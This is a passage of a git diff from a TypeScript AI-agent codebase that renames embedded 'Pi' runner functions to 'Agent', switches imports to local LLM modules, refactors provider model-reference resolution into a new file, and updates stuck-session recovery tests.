mocks.abortEmbeddedAgentRun.mockReturnValue(true); + mocks.waitForEmbeddedAgentRunEnd.mockResolvedValue(true); await recoverStuckDiagnosticSession({ sessionId: "run-456", @@ -276,8 +273,8 @@ describe("stuck session recovery", () => { it("force-clears and releases the session lane when abort cleanup does not drain", async () => { mocks.resolveActiveEmbeddedRunHandleSessionId.mockReturnValue("session-1"); - mocks.abortEmbeddedPiRun.mockReturnValue(true); - mocks.waitForEmbeddedPiRunEnd.mockResolvedValue(false); + mocks.abortEmbeddedAgentRun.mockReturnValue(true); + mocks.waitForEmbeddedAgentRunEnd.mockResolvedValue(false); mocks.resetCommandLane.mockReturnValue(1); await recoverStuckDiagnosticSession({ @@ -287,7 +284,7 @@ describe("stuck session recovery", () => { allowActiveAbort: true, }); - expect(mocks.forceClearEmbeddedPiRun).toHaveBeenCalledWith( + expect(mocks.forceClearEmbeddedAgentRun).toHaveBeenCalledWith( "session-1", "agent:main:main", "stuck_recovery", @@ -297,7 +294,7 @@ describe("stuck session recovery", () => { it("force-clears and releases the session lane when an active run cannot be aborted", async () => { mocks.resolveActiveEmbeddedRunHandleSessionId.mockReturnValue("session-1"); - mocks.abortEmbeddedPiRun.mockReturnValue(false); + mocks.abortEmbeddedAgentRun.mockReturnValue(false); mocks.resetCommandLane.mockReturnValue(1); await recoverStuckDiagnosticSession({ @@ -307,8 +304,8 @@ describe("stuck session recovery", () => { allowActiveAbort: true, }); - expect(mocks.waitForEmbeddedPiRunEnd).not.toHaveBeenCalled(); - expect(mocks.forceClearEmbeddedPiRun).toHaveBeenCalledWith( + expect(mocks.waitForEmbeddedAgentRunEnd).not.toHaveBeenCalled(); + expect(mocks.forceClearEmbeddedAgentRun).toHaveBeenCalledWith( "session-1", "agent:main:main", "stuck_recovery", @@ -326,15 +323,15 @@ describe("stuck session recovery", () => { ageMs: 180_000, }); - expect(mocks.abortEmbeddedPiRun).not.toHaveBeenCalled(); + expect(mocks.abortEmbeddedAgentRun).not.toHaveBeenCalled(); expect(mocks.resetCommandLane).toHaveBeenCalledWith("session:agent:main:main"); }); it("does not release the session lane while reply work is active without an embedded handle", async () => { mocks.resolveActiveEmbeddedRunSessionId.mockReturnValue("queued-reply-session"); mocks.resolveActiveEmbeddedRunHandleSessionId.mockReturnValue(undefined); - mocks.isEmbeddedPiRunActive.mockReturnValue(true); - mocks.isEmbeddedPiRunHandleActive.mockReturnValue(false); + mocks.isEmbeddedAgentRunActive.mockReturnValue(true); + mocks.isEmbeddedAgentRunHandleActive.mockReturnValue(false); await recoverStuckDiagnosticSession({ sessionId: "queued-reply-session", @@ -343,122 +340,21 @@ describe("stuck session recovery", () => { queueDepth: 1, }); - expect(mocks.abortEmbeddedPiRun).not.toHaveBeenCalled(); - expect(mocks.forceClearEmbeddedPiRun).not.toHaveBeenCalled(); + expect(mocks.abortEmbeddedAgentRun).not.toHaveBeenCalled(); + expect(mocks.forceClearEmbeddedAgentRun).not.toHaveBeenCalled(); expect(mocks.resetCommandLane).not.toHaveBeenCalled(); expect(warnLogMessages()).toEqual([ "stuck session recovery outcome: status=skipped action=keep_lane sessionId=queued-reply-session sessionKey=agent:main:main activeSessionId=queued-reply-session activeWorkKind=embedded_run reason=active_reply_work", ]); }); - it("reclaims stale leaked reply work with queued work and no forward progress (#85639)", async () => { - mocks.resolveActiveEmbeddedRunSessionId.mockReturnValue("queued-reply-session"); - mocks.resolveActiveEmbeddedRunHandleSessionId.mockReturnValue(undefined); - mocks.isEmbeddedPiRunActive.mockReturnValue(true); - mocks.isEmbeddedPiRunHandleActive.mockReturnValue(false); - // The "active" run has made no forward progress for well past the staleness - // window — a leaked/dead handle, not genuine work. - mocks.getDiagnosticSessionActivitySnapshot.mockReturnValue({ lastProgressAgeMs: 10 * 60_000 }); - mocks.abortEmbeddedPiRun.mockReturnValue(true); - mocks.waitForEmbeddedPiRunEnd.mockResolvedValue(true); - - const outcome = await recoverStuckDiagnosticSession({ - sessionId: "queued-reply-session", - sessionKey: "agent:main:main", - ageMs: 180_000, - queueDepth: 1, - }); - - // Reclaimed (aborted) instead of skipping with active_reply_work. - expect(mocks.abortEmbeddedPiRun).toHaveBeenCalledWith("queued-reply-session"); - expect(outcome.status).not.toBe("skipped"); - expect(warnLogMessages().some((m) => m.includes("reclaiming stale active reply work"))).toBe( - true, - ); - }); - - it("honors an operator-raised stuck-session abort threshold for stale reclaim (#85639)", async () => { - mocks.resolveActiveEmbeddedRunSessionId.mockReturnValue("queued-reply-session"); - mocks.resolveActiveEmbeddedRunHandleSessionId.mockReturnValue(undefined); - mocks.isEmbeddedPiRunActive.mockReturnValue(true); - mocks.isEmbeddedPiRunHandleActive.mockReturnValue(false); - mocks.abortEmbeddedPiRun.mockReturnValue(true); - mocks.waitForEmbeddedPiRunEnd.mockResolvedValue(true); - - // Operator raised the abort threshold to 20 min to protect slow active work. - const raisedAbortMs = 20 * 60_000; - - // Below the raised threshold (10 min): keep the lane, do not reclaim. - mocks.getDiagnosticSessionActivitySnapshot.mockReturnValue({ lastProgressAgeMs: 10 * 60_000 }); - const kept = await recoverStuckDiagnosticSession({ - sessionId: "queued-reply-session", - sessionKey: "agent:main:main", - ageMs: 180_000, - queueDepth: 1, - staleActiveProgressAbortMs: raisedAbortMs, - }); - expect(mocks.abortEmbeddedPiRun).not.toHaveBeenCalled(); - expect(kept.status).toBe("skipped"); - - // Past the raised threshold (25 min): reclaim. - mocks.getDiagnosticSessionActivitySnapshot.mockReturnValue({ lastProgressAgeMs: 25 * 60_000 }); - const reclaimed = await recoverStuckDiagnosticSession({ - sessionId: "queued-reply-session", - sessionKey: "agent:main:main", - ageMs: 180_000, - queueDepth: 1, - staleActiveProgressAbortMs: raisedAbortMs, - }); - expect(mocks.abortEmbeddedPiRun).toHaveBeenCalledWith("queued-reply-session"); - expect(reclaimed.status).not.toBe("skipped"); - }); - - it("keeps the lane when active reply work is still progressing", async () => { - mocks.resolveActiveEmbeddedRunSessionId.mockReturnValue("queued-reply-session"); - mocks.resolveActiveEmbeddedRunHandleSessionId.mockReturnValue(undefined); - mocks.isEmbeddedPiRunActive.mockReturnValue(true); - mocks.isEmbeddedPiRunHandleActive.mockReturnValue(false); - // Recent forward progress: a genuinely active run must not be reclaimed. - mocks.getDiagnosticSessionActivitySnapshot.mockReturnValue({ lastProgressAgeMs: 5_000 }); - - const outcome = await recoverStuckDiagnosticSession({ - sessionId: "queued-reply-session", - sessionKey: "agent:main:main", - ageMs: 180_000, - queueDepth: 1, - }); - - expect(mocks.abortEmbeddedPiRun).not.toHaveBeenCalled(); - expect(outcome.status).toBe("skipped"); - expect(warnLogMessages().some((m) => m.includes("reason=active_reply_work"))).toBe(true); - }); - - it("does not reclaim stale reply work when no work is queued", async () => { - mocks.resolveActiveEmbeddedRunSessionId.mockReturnValue("queued-reply-session"); - mocks.resolveActiveEmbeddedRunHandleSessionId.mockReturnValue(undefined); - mocks.isEmbeddedPiRunActive.mockReturnValue(true); - mocks.isEmbeddedPiRunHandleActive.mockReturnValue(false); - mocks.getDiagnosticSessionActivitySnapshot.mockReturnValue({ lastProgressAgeMs: 10 * 60_000 }); - - const outcome = await recoverStuckDiagnosticSession({ - sessionId: "queued-reply-session", - sessionKey: "agent:main:main", - ageMs: 180_000, - queueDepth: 0, - }); - - expect(mocks.abortEmbeddedPiRun).not.toHaveBeenCalled(); - expect(outcome.status).toBe("skipped"); - expect(warnLogMessages().some((m) => m.includes("reason=active_reply_work"))).toBe(true); - }); - it("aborts stale reply work without an embedded handle when active abort recovery is enabled", async () => { mocks.resolveActiveEmbeddedRunSessionId.mockReturnValue("queued-reply-session"); mocks.resolveActiveEmbeddedRunHandleSessionId.mockReturnValue(undefined); - mocks.isEmbeddedPiRunActive.mockReturnValue(true); - mocks.isEmbeddedPiRunHandleActive.mockReturnValue(false); - mocks.abortEmbeddedPiRun.mockReturnValue(true); - mocks.waitForEmbeddedPiRunEnd.mockResolvedValue(true); + mocks.isEmbeddedAgentRunActive.mockReturnValue(true); + mocks.isEmbeddedAgentRunHandleActive.mockReturnValue(false); + mocks.abortEmbeddedAgentRun.mockReturnValue(true); + mocks.waitForEmbeddedAgentRunEnd.mockResolvedValue(true); await recoverStuckDiagnosticSession({ sessionId: "queued-reply-session", @@ -468,9 +364,9 @@ describe("stuck session recovery", () => { allowActiveAbort: true, }); - expect(mocks.abortEmbeddedPiRun).toHaveBeenCalledWith("queued-reply-session"); - expect(mocks.waitForEmbeddedPiRunEnd).toHaveBeenCalledWith("queued-reply-session", 15_000); - expect(mocks.forceClearEmbeddedPiRun).not.toHaveBeenCalled(); + expect(mocks.abortEmbeddedAgentRun).toHaveBeenCalledWith("queued-reply-session"); + expect(mocks.waitForEmbeddedAgentRunEnd).toHaveBeenCalledWith("queued-reply-session", 15_000); + expect(mocks.forceClearEmbeddedAgentRun).not.toHaveBeenCalled(); expect(mocks.resetCommandLane).not.toHaveBeenCalled(); expect(warnLogMessages()).toEqual([ "stuck session recovery: sessionId=queued-reply-session sessionKey=agent:main:main age=720s action=abort_embedded_run aborted=true drained=true released=0", @@ -481,11 +377,11 @@ describe("stuck session recovery", () => { it("reports queued lane work when aborting active work releases a lane", async () => { mocks.resolveActiveEmbeddedRunSessionId.mockReturnValue("queued-reply-session"); mocks.resolveActiveEmbeddedRunHandleSessionId.mockReturnValue(undefined); - mocks.isEmbeddedPiRunActive.mockReturnValue(true); - mocks.isEmbeddedPiRunHandleActive.mockReturnValue(false); - mocks.abortEmbeddedPiRun.mockReturnValue(false); - mocks.forceClearEmbeddedPiRun.mockReturnValue(true); - mocks.waitForEmbeddedPiRunEnd.mockResolvedValue(false); + mocks.isEmbeddedAgentRunActive.mockReturnValue(true); + mocks.isEmbeddedAgentRunHandleActive.mockReturnValue(false); + mocks.abortEmbeddedAgentRun.mockReturnValue(false); + mocks.forceClearEmbeddedAgentRun.mockReturnValue(true); + mocks.waitForEmbeddedAgentRunEnd.mockResolvedValue(false); mocks.resetCommandLane.mockReturnValue(1); mocks.getCommandLaneSnapshot.mockReturnValue({ lane: "session:agent:main:main", @@ -518,8 +414,8 @@ describe("stuck session recovery", () => { it("does not release the session lane while unregistered lane work is active", async () => { mocks.resolveActiveEmbeddedRunSessionId.mockReturnValue(undefined); mocks.resolveActiveEmbeddedRunHandleSessionId.mockReturnValue(undefined); - mocks.isEmbeddedPiRunActive.mockReturnValue(false); - mocks.isEmbeddedPiRunHandleActive.mockReturnValue(false); + mocks.isEmbeddedAgentRunActive.mockReturnValue(false); + mocks.isEmbeddedAgentRunHandleActive.mockReturnValue(false); mocks.getCommandLaneSnapshot.mockReturnValue({ lane: "session:agent:main:main", queuedCount: 1, @@ -536,8 +432,8 @@ describe("stuck session recovery", () => { queueDepth: 1, }); - expect(mocks.abortEmbeddedPiRun).not.toHaveBeenCalled(); - expect(mocks.forceClearEmbeddedPiRun).not.toHaveBeenCalled(); + expect(mocks.abortEmbeddedAgentRun).not.toHaveBeenCalled(); + expect(mocks.forceClearEmbeddedAgentRun).not.toHaveBeenCalled(); expect(mocks.resetCommandLane).not.toHaveBeenCalled(); expect(warnLogMessages()).toEqual([ "stuck session recovery outcome: status=skipped action=keep_lane sessionId=unregistered-work-session sessionKey=agent:main:main lane=session:agent:main:main reason=active_lane_task laneActive=1 laneQueued=1", @@ -547,7 +443,7 @@ describe("stuck session recovery", () => { it("reports when recovery finds no active work to release", async () => { mocks.resolveActiveEmbeddedRunHandleSessionId.mockReturnValue(undefined); mocks.resolveActiveEmbeddedRunSessionId.mockReturnValue(undefined); - mocks.isEmbeddedPiRunActive.mockReturnValue(false); + mocks.isEmbeddedAgentRunActive.mockReturnValue(false); mocks.resetCommandLane.mockReturnValue(0); await recoverStuckDiagnosticSession({ @@ -565,7 +461,7 @@ describe("stuck session recovery", () => { it("clears stale queued processing state even when the lane has no active work", async () => { mocks.resolveActiveEmbeddedRunHandleSessionId.mockReturnValue(undefined); mocks.resolveActiveEmbeddedRunSessionId.mockReturnValue(undefined); - mocks.isEmbeddedPiRunActive.mockReturnValue(false); + mocks.isEmbeddedAgentRunActive.mockReturnValue(false); mocks.resetCommandLane.mockReturnValue(0); await recoverStuckDiagnosticSession({ @@ -585,7 +481,7 @@ describe("stuck session recovery", () => { it("releases idle queued work without aborting when stale activity has no active owner", async () => { mocks.resolveActiveEmbeddedRunHandleSessionId.mockReturnValue(undefined); mocks.resolveActiveEmbeddedRunSessionId.mockReturnValue(undefined); - mocks.isEmbeddedPiRunActive.mockReturnValue(false); + mocks.isEmbeddedAgentRunActive.mockReturnValue(false); mocks.resetCommandLane.mockReturnValue(0); const outcome = await recoverStuckDiagnosticSession({ @@ -603,15 +499,15 @@ describe("stuck session recovery", () => { sessionKey: "agent:main:main", released: 0, }); - expect(mocks.abortEmbeddedPiRun).not.toHaveBeenCalled(); - expect(mocks.forceClearEmbeddedPiRun).not.toHaveBeenCalled(); + expect(mocks.abortEmbeddedAgentRun).not.toHaveBeenCalled(); + expect(mocks.forceClearEmbeddedAgentRun).not.toHaveBeenCalled(); expect(mocks.resetCommandLane).toHaveBeenCalledWith("session:agent:main:main"); }); it("releases idle queued work with orphaned tool_call without aborting active work", async () => { mocks.resolveActiveEmbeddedRunHandleSessionId.mockReturnValue(undefined); mocks.resolveActiveEmbeddedRunSessionId.mockReturnValue(undefined); - mocks.isEmbeddedPiRunActive.mockReturnValue(false); + mocks.isEmbeddedAgentRunActive.mockReturnValue(false); mocks.resetCommandLane.mockReturnValue(1); const outcome = await recoverStuckDiagnosticSession({ @@ -629,13 +525,13 @@ describe("stuck session recovery", () => { sessionKey: "agent:sub:tool-runner", released: 1, }); - expect(mocks.abortEmbeddedPiRun).not.toHaveBeenCalled(); - expect(mocks.forceClearEmbeddedPiRun).not.toHaveBeenCalled(); + expect(mocks.abortEmbeddedAgentRun).not.toHaveBeenCalled(); + expect(mocks.forceClearEmbeddedAgentRun).not.toHaveBeenCalled(); expect(mocks.resetCommandLane).toHaveBeenCalledWith("session:agent:sub:tool-runner"); }); it("releases a stale session-id lane when no session key is available", async () => { - mocks.isEmbeddedPiRunHandleActive.mockReturnValue(false); + mocks.isEmbeddedAgentRunHandleActive.mockReturnValue(false); mocks.resetCommandLane.mockReturnValue(1); await recoverStuckDiagnosticSession({ @@ -643,7 +539,7 @@ describe("stuck session recovery", () => { ageMs: 180_000, }); - expect(mocks.abortEmbeddedPiRun).not.toHaveBeenCalled(); + expect(mocks.abortEmbeddedAgentRun).not.toHaveBeenCalled(); expect(mocks.resolveEmbeddedSessionLane).toHaveBeenCalledWith("session-only"); expect(mocks.resetCommandLane).toHaveBeenCalledWith("session:session-only"); }); @@ -654,8 +550,8 @@ describe("stuck session recovery", () => { resolveWait = resolve; }); mocks.resolveActiveEmbeddedRunHandleSessionId.mockReturnValue("session-1"); - mocks.abortEmbeddedPiRun.mockReturnValue(true); - mocks.waitForEmbeddedPiRunEnd.mockReturnValue(waitPromise); + mocks.abortEmbeddedAgentRun.mockReturnValue(true); + mocks.waitForEmbeddedAgentRunEnd.mockReturnValue(waitPromise); const first = recoverStuckDiagnosticSession({ sessionId: "session-1", @@ -670,7 +566,7 @@ describe("stuck session recovery", () => { allowActiveAbort: true, }); - expect(mocks.abortEmbeddedPiRun).toHaveBeenCalledTimes(1); + expect(mocks.abortEmbeddedAgentRun).toHaveBeenCalledTimes(1); if (!resolveWait) { throw new Error("Expected diagnostic recovery wait resolver to be initialized"); } diff --git a/src/logging/diagnostic-stuck-session-recovery.runtime.ts b/src/logging/diagnostic-stuck-session-recovery.runtime.ts index 6107af5caf9..7b88a7bd1ab 100644 --- a/src/logging/diagnostic-stuck-session-recovery.runtime.ts +++ b/src/logging/diagnostic-stuck-session-recovery.runtime.ts @@ -1,13 +1,13 @@ -import { resolveEmbeddedSessionLane } from "../agents/pi-embedded-runner/lanes.js"; +import { resolveEmbeddedSessionLane } from "../agents/embedded-agent-runner/lanes.js"; import { - abortAndDrainEmbeddedPiRun, - isEmbeddedPiRunActive, - isEmbeddedPiRunHandleActive, + abortAndDrainEmbeddedAgentRun, + isEmbeddedAgentRunActive, + isEmbeddedAgentRunHandleActive, resolveActiveEmbeddedRunSessionId, resolveActiveEmbeddedRunSessionIdBySessionFile, resolveActiveEmbeddedRunHandleSessionId, resolveActiveEmbeddedRunHandleSessionIdBySessionFile, -} from "../agents/pi-embedded-runner/runs.js"; +} from "../agents/embedded-agent-runner/runs.js"; import { getCommandLaneSnapshot, resetCommandLane } from "../process/command-queue.js"; import { getDiagnosticSessionActivitySnapshot } from "./diagnostic-run-activity.js"; import { diagnosticLogger as diag } from "./diagnostic-runtime.js"; @@ -23,21 +23,13 @@ import { import { isDiagnosticSessionStateCurrent } from "./diagnostic-session-state.js"; const STUCK_SESSION_ABORT_SETTLE_MS = 15_000; -// Default no-forward-progress age used only when the caller does not carry a -// resolved `diagnostics.stuckSessionAbortMs`. A run flagged "active" that has made -// no forward progress (tool/model/chunk events) for at least the resolved window, -// while queued work waits, is treated as a leaked/dead handle and reclaimed even -// without an explicit active-abort grant. `lastProgressAgeMs` tracks real progress -// (not incoming queued messages), so it keeps growing while a lane is wedged. const STUCK_SESSION_PROGRESS_STALE_MS = 5 * 60_000; +const recoveriesInFlight = new Set(); + +export type StuckSessionRecoveryParams = StuckSessionRecoveryRequest; function resolveStaleActiveProgressAbortMs(params: StuckSessionRecoveryParams): number { const configured = params.staleActiveProgressAbortMs; - // Honor the resolved `diagnostics.stuckSessionAbortMs` as-is — an operator can - // raise it to protect slow active work (it is the same threshold the existing - // `session.stalled` abort uses). It is floored at the warn threshold upstream, - // not necessarily 5 min, so we only apply the 5-min default when no value is - // carried (e.g. direct callers). return typeof configured === "number" && configured > 0 ? configured : STUCK_SESSION_PROGRESS_STALE_MS; @@ -59,9 +51,6 @@ function isActiveRunProgressStale(params: { const lastProgressAgeMs = activity.lastProgressAgeMs; return typeof lastProgressAgeMs === "number" && lastProgressAgeMs >= params.staleAbortMs; } -const recoveriesInFlight = new Set(); - -export type StuckSessionRecoveryParams = StuckSessionRecoveryRequest; function recoveryKey(params: StuckSessionRecoveryParams): string | undefined { return params.sessionKey?.trim() || params.sessionId?.trim() || undefined; @@ -125,7 +114,7 @@ export async function recoverStuckDiagnosticSession( }; } const fallbackActiveSessionId = - params.sessionId && isEmbeddedPiRunHandleActive(params.sessionId) + params.sessionId && isEmbeddedAgentRunHandleActive(params.sessionId) ? params.sessionId : undefined; const fileActiveSessionId = params.sessionFile @@ -181,7 +170,7 @@ export async function recoverStuckDiagnosticSession( `stuck session recovery reclaiming stale active run: ${formatRecoveryContext(params, { activeSessionId })}`, ); } - const result = await abortAndDrainEmbeddedPiRun({ + const result = await abortAndDrainEmbeddedAgentRun({ sessionId: activeSessionId, sessionKey: params.sessionKey, settleMs: STUCK_SESSION_ABORT_SETTLE_MS, @@ -193,7 +182,7 @@ export async function recoverStuckDiagnosticSession( forceCleared = result.forceCleared; } - if (!activeSessionId && activeWorkSessionId && isEmbeddedPiRunActive(activeWorkSessionId)) { + if (!activeSessionId && activeWorkSessionId && isEmbeddedAgentRunActive(activeWorkSessionId)) { const reclaimStaleReplyWork = params.allowActiveAbort !== true && isActiveRunProgressStale({ @@ -211,7 +200,7 @@ export async function recoverStuckDiagnosticSession( )}`, ); } - const result = await abortAndDrainEmbeddedPiRun({ + const result = await abortAndDrainEmbeddedAgentRun({ sessionId: activeWorkSessionId, sessionKey: params.sessionKey, settleMs: STUCK_SESSION_ABORT_SETTLE_MS, diff --git a/src/mcp/plugin-tools-handlers.ts b/src/mcp/plugin-tools-handlers.ts index 114bcd4e4ab..e31275ff2e4 100644 --- a/src/mcp/plugin-tools-handlers.ts +++ b/src/mcp/plugin-tools-handlers.ts @@ -2,7 +2,7 @@ import { isToolWrappedWithBeforeToolCallHook, rewrapToolWithBeforeToolCallHook, wrapToolWithBeforeToolCallHook, -} from "../agents/pi-tools.before-tool-call.js"; +} from "../agents/agent-tools.before-tool-call.js"; import type { AnyAgentTool } from "../agents/tools/common.js"; import { formatErrorMessage } from "../infra/errors.js"; import { coerceChatContentText } from "../shared/chat-content.js"; diff --git a/src/mcp/plugin-tools-serve.test.ts b/src/mcp/plugin-tools-serve.test.ts index 47f613dcd20..6211019b106 100644 --- a/src/mcp/plugin-tools-serve.test.ts +++ b/src/mcp/plugin-tools-serve.test.ts @@ -2,7 +2,7 @@ import { afterEach, describe, expect, it, vi } from "vitest"; import { type HookContext, wrapToolWithBeforeToolCallHook, -} from "../agents/pi-tools.before-tool-call.js"; +} from "../agents/agent-tools.before-tool-call.js"; import type { AnyAgentTool } from "../agents/tools/common.js"; import { initializeGlobalHookRunner, diff --git a/src/media-generation/capability-model-ref.ts b/src/media-generation/capability-model-ref.ts new file mode 100644 index 00000000000..fc3a751b370 --- /dev/null +++ b/src/media-generation/capability-model-ref.ts @@ -0,0 +1,85 @@ +import { normalizeOptionalString } from "../shared/string-coerce.js"; + +export type CapabilityModelProviderCandidate = { + id: string; + aliases?: readonly string[]; + defaultModel?: string | null; + models?: readonly string[]; +}; + +export type CapabilityModelRef = { + provider: string; + model: string; +}; + +type ProviderIdNormalizer = (value: string) => string | undefined; + +function normalizeProviderForMatch( + value: string | undefined, + normalizeProviderId: ProviderIdNormalizer | undefined, +): string | undefined { + const normalized = normalizeOptionalString(value); + if (!normalized) { + return undefined; + } + return normalizeProviderId ? normalizeProviderId(normalized) : normalized; +} + +export function findCapabilityProviderById(params: { + providers: readonly T[]; + providerId?: string; + normalizeProviderId?: ProviderIdNormalizer; +}): T | undefined { + const selectedProvider = normalizeProviderForMatch(params.providerId, params.normalizeProviderId); + if (!selectedProvider) { + return undefined; + } + return params.providers.find((provider) => { + const providerId = normalizeProviderForMatch(provider.id, params.normalizeProviderId); + if (providerId === selectedProvider) { + return true; + } + return (provider.aliases ?? []).some( + (alias) => normalizeProviderForMatch(alias, params.normalizeProviderId) === selectedProvider, + ); + }); +} + +export function resolveCapabilityProviderModelOnlyRef(params: { + providers: readonly CapabilityModelProviderCandidate[]; + raw?: string; +}): CapabilityModelRef | null { + const model = normalizeOptionalString(params.raw); + if (!model) { + return null; + } + const provider = params.providers.find((candidate) => { + const models = [candidate.defaultModel, ...(candidate.models ?? [])]; + return models.some((entry) => normalizeOptionalString(entry) === model); + }); + return provider ? { provider: provider.id, model } : null; +} + +export function resolveCapabilityModelRefForProviders(params: { + providers: readonly CapabilityModelProviderCandidate[]; + raw?: string; + parseModelRef: (raw: string | undefined) => CapabilityModelRef | null; + normalizeProviderId?: ProviderIdNormalizer; +}): CapabilityModelRef | null { + const raw = normalizeOptionalString(params.raw); + if (!raw) { + return null; + } + const parsed = params.parseModelRef(raw); + if ( + parsed && + findCapabilityProviderById({ + providers: params.providers, + providerId: parsed.provider, + normalizeProviderId: params.normalizeProviderId, + }) + ) { + return parsed; + } + return resolveCapabilityProviderModelOnlyRef({ providers: params.providers, raw }) ?? parsed; +} diff --git a/src/media-generation/catalog.ts b/src/media-generation/catalog.ts index c4b30904b02..1b7064c5c46 100644 --- a/src/media-generation/catalog.ts +++ b/src/media-generation/catalog.ts @@ -12,11 +12,10 @@ export type MediaGenerationCatalogSource = Extract< "static" | "live" | "cache" | "configured" >; -export type MediaGenerationCatalogEntry = - UnifiedModelCatalogEntry & { - kind: MediaGenerationCatalogKind; - source: MediaGenerationCatalogSource; - }; +export type MediaGenerationCatalogEntry = UnifiedModelCatalogEntry & { + kind: MediaGenerationCatalogKind; + source: MediaGenerationCatalogSource; +}; export type MediaGenerationCatalogProvider = { id: string; diff --git a/src/media-generation/runtime-shared.ts b/src/media-generation/runtime-shared.ts index a7522f7149c..71c51c473cf 100644 --- a/src/media-generation/runtime-shared.ts +++ b/src/media-generation/runtime-shared.ts @@ -13,6 +13,7 @@ import type { OpenClawConfig } from "../config/types.js"; import { formatErrorMessage } from "../infra/errors.js"; import { getProviderEnvVars as getDefaultProviderEnvVars } from "../secrets/provider-env-vars.js"; import { normalizeOptionalString } from "../shared/string-coerce.js"; +import { resolveCapabilityModelRefForProviders } from "./capability-model-ref.js"; import type { MediaGenerationNormalizationMetadataInput, MediaNormalizationEntry, @@ -178,36 +179,6 @@ function resolveAutoCapabilityFallbackRefs(params: { }); } -function resolveProviderModelOnlyRef(params: { - raw: string; - providers: CapabilityProviderCandidate[]; -}): ParsedProviderModelRef | null { - const model = normalizeOptionalString(params.raw); - if (!model) { - return null; - } - const provider = params.providers.find((candidate) => { - const models = [candidate.defaultModel, ...(candidate.models ?? [])]; - return models.some((entry) => normalizeOptionalString(entry) === model); - }); - return provider ? { provider: provider.id, model } : null; -} - -function hasCapabilityProviderId(params: { - providerId: string | undefined; - providers: CapabilityProviderCandidate[]; -}): boolean { - const providerId = normalizeOptionalString(params.providerId); - if (!providerId) { - return false; - } - return params.providers.some( - (provider) => - provider.id === providerId || - (provider.aliases ?? []).some((alias) => normalizeOptionalString(alias) === providerId), - ); -} - export function resolveCapabilityModelCandidates(params: { cfg: OpenClawConfig; modelConfig: AgentModelConfig | undefined; @@ -229,20 +200,14 @@ export function resolveCapabilityModelCandidates(params: { if (!trimmed) { return null; } - const parsed = params.parseModelRef(raw); if (!options.useProviderMetadata) { - return parsed; + return params.parseModelRef(raw); } - if ( - parsed && - hasCapabilityProviderId({ - providerId: parsed.provider, - providers: getProviders(), - }) - ) { - return parsed; - } - return resolveProviderModelOnlyRef({ raw: trimmed, providers: getProviders() }) ?? parsed; + return resolveCapabilityModelRefForProviders({ + raw: trimmed, + providers: getProviders(), + parseModelRef: params.parseModelRef, + }); }; const add = (raw: string | undefined, options: { useProviderMetadata: boolean }) => { const candidate = resolveCandidate(raw, options); diff --git a/src/media-understanding/apply.test.ts b/src/media-understanding/apply.test.ts index 3f2e50ee455..9a332017128 100644 --- a/src/media-understanding/apply.test.ts +++ b/src/media-understanding/apply.test.ts @@ -197,7 +197,6 @@ async function withMediaAutoDetectEnv( GEMINI_API_KEY: undefined, OPENCLAW_ANTIGRAVITY_CLI: undefined, OPENCLAW_AGENT_DIR: undefined, - PI_CODING_AGENT_DIR: undefined, ...env, }, run, @@ -929,7 +928,6 @@ describe("applyMediaUnderstanding", () => { { PATH: emptyBinDir, OPENCLAW_AGENT_DIR: isolatedAgentDir, - PI_CODING_AGENT_DIR: isolatedAgentDir, }, async () => { const result = await applyMediaUnderstanding({ ctx, cfg }); @@ -962,7 +960,6 @@ describe("applyMediaUnderstanding", () => { { PATH: binDir, OPENCLAW_AGENT_DIR: isolatedAgentDir, - PI_CODING_AGENT_DIR: isolatedAgentDir, }, async () => { const result = await applyMediaUnderstanding({ ctx, cfg }); diff --git a/src/media-understanding/image.test.ts b/src/media-understanding/image.test.ts index 3d898ad31b8..a844c83b5ba 100644 --- a/src/media-understanding/image.test.ts +++ b/src/media-understanding/image.test.ts @@ -76,9 +76,8 @@ function requireRecord(value: unknown, label: string): Record { return value as Record; } -vi.mock("@earendil-works/pi-ai", async () => { - const actual = - await vi.importActual("@earendil-works/pi-ai"); +vi.mock("../llm/stream.js", async () => { + const actual = await vi.importActual("../llm/stream.js"); return { ...actual, complete: completeMock, @@ -102,7 +101,7 @@ vi.mock("../agents/provider-stream.js", () => ({ registerProviderStreamForModel: registerProviderStreamForModelMock, })); -vi.mock("../agents/pi-model-discovery-runtime.js", () => ({ +vi.mock("../agents/agent-model-discovery.js", () => ({ discoverAuthStorage: () => ({ setRuntimeApiKey: setRuntimeApiKeyMock, }), @@ -116,7 +115,7 @@ vi.mock("../plugins/provider-runtime.js", async () => ({ prepareProviderDynamicModel: prepareProviderDynamicModelMock, })); -vi.mock("../agents/pi-embedded-runner/model.js", () => ({ +vi.mock("../agents/embedded-agent-runner/model.js", () => ({ resolveModelAsync: resolveModelAsyncMock, })); @@ -505,7 +504,7 @@ describe("describeImageWithModel", () => { {}, { allowBundledStaticCatalogFallback: true, - skipPiDiscovery: true, + skipAgentDiscovery: true, skipProviderRuntimeHooks: true, workspaceDir: "/tmp/openclaw-workspace", }, @@ -581,7 +580,7 @@ describe("describeImageWithModel", () => { {}, { allowBundledStaticCatalogFallback: true, - skipPiDiscovery: true, + skipAgentDiscovery: true, skipProviderRuntimeHooks: true, }, ); @@ -593,7 +592,7 @@ describe("describeImageWithModel", () => { {}, { allowBundledStaticCatalogFallback: true, - skipPiDiscovery: true, + skipAgentDiscovery: true, }, ); const [completeModel] = requireFirstMockCall(completeMock, "complete"); diff --git a/src/media-understanding/image.ts b/src/media-understanding/image.ts index 6dfbcfcb721..745c38b49bd 100644 --- a/src/media-understanding/image.ts +++ b/src/media-understanding/image.ts @@ -1,11 +1,4 @@ -import type { - Api, - AssistantMessage, - Context, - Model, - ProviderStreamOptions, -} from "@earendil-works/pi-ai"; -import { complete } from "@earendil-works/pi-ai"; +import { resolveModelAsync } from "../agents/embedded-agent-runner/model.js"; import { isMinimaxVlmModel, minimaxUnderstandImage } from "../agents/minimax-vlm.js"; import { getApiKeyForModel, @@ -14,7 +7,6 @@ import { } from "../agents/model-auth.js"; import { normalizeModelRef } from "../agents/model-selection.js"; import { ensureOpenClawModelsJson } from "../agents/models-config.js"; -import { resolveModelAsync } from "../agents/pi-embedded-runner/model.js"; import { resolveProviderRequestCapabilities } from "../agents/provider-attribution.js"; import { registerProviderStreamForModel } from "../agents/provider-stream.js"; import { @@ -22,12 +14,13 @@ import { hasImageReasoningOnlyResponse, } from "../agents/tools/image-tool.helpers.js"; import { isSecretRef } from "../config/types.secrets.js"; +import { complete } from "../llm/stream.js"; +import type { AssistantMessage, Context, Model, ProviderStreamOptions } from "../llm/types.js"; import { buildCopilotIdeHeaders, COPILOT_INTEGRATION_ID, resolveCopilotApiToken, } from "../plugin-sdk/provider-auth.js"; -import { isRecord 